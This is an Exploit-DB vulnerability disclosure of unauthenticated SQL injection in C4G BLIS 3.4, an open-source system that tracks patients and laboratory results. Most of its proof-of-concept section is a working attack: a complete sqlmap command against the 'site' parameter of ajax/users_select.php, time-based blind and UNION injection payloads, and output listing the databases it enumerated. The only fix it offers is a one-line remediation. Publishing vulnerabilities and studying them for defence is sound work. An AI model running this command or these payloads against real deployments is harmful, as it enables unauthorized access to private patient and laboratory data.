C4G Basic Laboratory Information System (BLIS) 3.4 - SQL Injection

EDB-ID:
46438

CVE:
N/A

EDB Verified: ×

Author:
CARLOS AVILA

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-02-21

Vulnerable App:

```
# Exploit Title: C4G Basic Laboratory Information System (BLIS) 3.4 -
Multiples SQL Injection
# Date: 01/31/2019
# Software Links/Project: https://github.com/C4G/BLIS |
http://blis.cc.gatech.edu/index.php
# Version: C4G Basic Laboratory Information System v3.4
# Exploit Author: Carlos Avila
# Category: webapps
# Tested on: Windows 8.1 / Ubuntu Linux
# Contact: http://twitter.com/badboy_nt

1. Description

C4G Basic Laboratory Information System (BLIS) is an open-source system to
track patients, specimens and laboratory results. C4G BLIS is a joint
initiative of Computing for Good (C4G) at the Georgia Institute of
Technology, the Centers for Disease Control and Prevention (CDC) and
Ministries of Health of several countries in Africa.

This allows unauthenticated remote attacker to execute arbitrary SQL
commands and obtain private information. Admin or users valid credentials
aren't required. In a deeper analysis other pages are also affected with
the vulnerability over others inputs.

It written in PHP it is vulnerable to SQL Injection on multiples
occurrences. The parameters affected are detailed below:

http://192.168.6.101:4001/ajax/users_select.php [parameters affected via
GET method: site]



2. Proof of Concept



sunday:sqlmap badboy_nt$ python sqlmap.py --url
"http://192.168.6.101:4001/ajax/users_select.php?site=1275969" --random-
agent --tamper randomcase --level 3 --dbms mysql --threads 3 --dbs

        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.3.1.83#dev}
|_ -| . [,]     | .'| . |
|___|_  [()]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability
and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:51:33 /2019-02-01/

[15:51:33] [INFO] loading tamper module 'randomcase'
[15:51:33] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0
(Windows; U; Windows NT 6.0; en) AppleWebKit/528.16 (KHTML, like Gecko)
Version/4.0 Safari/528.16' from file
'/Users/badboy_nt/Tools/sqlmap/txt/user-agents.txt'
[15:51:34] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: site (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: site=1275969 AND (SELECT * FROM (SELECT(SLEEP(5)))owvW)-- Lzob

    Type: UNION query
```

```
    Title: Generic UNION query (random number) - 12 columns
    Payload: site=1275969 UNION ALL SELECT
CONCAT(0x71626a7071,0x5754617757446f465a4f41676352594968504a457651676852694d5
- tnMf
---
[15:51:35] [WARNING] changes made by tampering scripts are not included in
shown payload content(s)
[15:51:35] [INFO] testing MySQL
[15:51:36] [INFO] confirming MySQL
[15:51:37] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.4.32
back-end DBMS: MySQL >= 5.0.0
[15:51:37] [INFO] fetching database names
[15:51:38] [INFO] used SQL query returns 4 entries
[15:51:38] [INFO] starting 3 threads
[15:51:39] [INFO] retrieved: 'information_schema'
[15:51:40] [INFO] retrieved: 'blis_127'
[15:51:41] [INFO] retrieved: 'blis_revamp'
[15:51:43] [INFO] retrieved: 'mysql'
available databases [4]:
[*] blis_127
[*] blis_revamp
[*] information_schema
[*] mysql


3. Solution:

Application inputs must be validated correctly throughout the development
of the project.
```

Tags: SQL Injection (SQLi) **Advisory/Source:** Link